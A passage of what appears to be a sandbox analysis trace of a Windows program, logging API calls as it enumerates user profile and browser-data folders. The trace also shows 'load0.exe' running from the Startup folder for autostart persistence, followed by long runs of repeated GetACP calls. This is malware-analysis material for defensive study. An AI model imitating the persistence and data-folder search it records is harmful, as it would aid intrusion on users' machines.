hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0285.448] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfa850ed2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xfaa1ab04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 0 [0285.448] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0285.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0285.449] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xadb6a93, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xadb6a93, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0285.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0285.449] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0285.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0285.449] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0285.449] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0285.450] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0285.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0285.450] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x240000, cFileName="Public", cAlternateFileName="")) returned 1 [0285.450] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0285.451] FindNextFileW (in: hFindFile=0x64a258, lpFindFileData=0x3b2fcf8 | out: lpFindFileData=0x3b2fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0285.451] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ec0060 | out: hHeap=0x630000) returned 1 Thread: id = 2577 os_tid = 0x26f4 Thread: id = 2580 os_tid = 0x2700 Thread: id = 2582 os_tid = 0x2708 Thread: id = 2583 os_tid = 0x270c Thread: id = 2584 os_tid = 0x2710 Thread: id = 2585 os_tid = 0x2714 Process: id = "8" image_name = "load0.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe" page_root = "0x17410000" os_pid = "0xdbc" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011462" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 875 os_tid = 0xdc0 [0224.536] GetACP () returned 0x4e4 [0224.538] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.538] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.539] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.540] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.541] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.542] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.543] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.607] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.608] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.609] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.610] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.611] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.612] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.613] GetACP () returned 0x4e4 [0224.686] GetACP () returned 0x4e4 [0224.827] GetACP () returned 0x4e4 [0224.920] GetACP () returned 0x4e4 [0225.013] GetACP () returned 0x4e4 [0225.317] GetACP () returned 0x4e4 [0225.419] GetACP () returned 0x4e4 [0225.623] GetACP () returned 0x4e4 [0225.779] GetACP () returned 0x4e4 [0225.810] GetACP () returned 0x4e4 [0225.904] GetACP () returned 0x4e4 [0226.062] GetACP () returned 0x4e4 [0226.062] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.063] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP 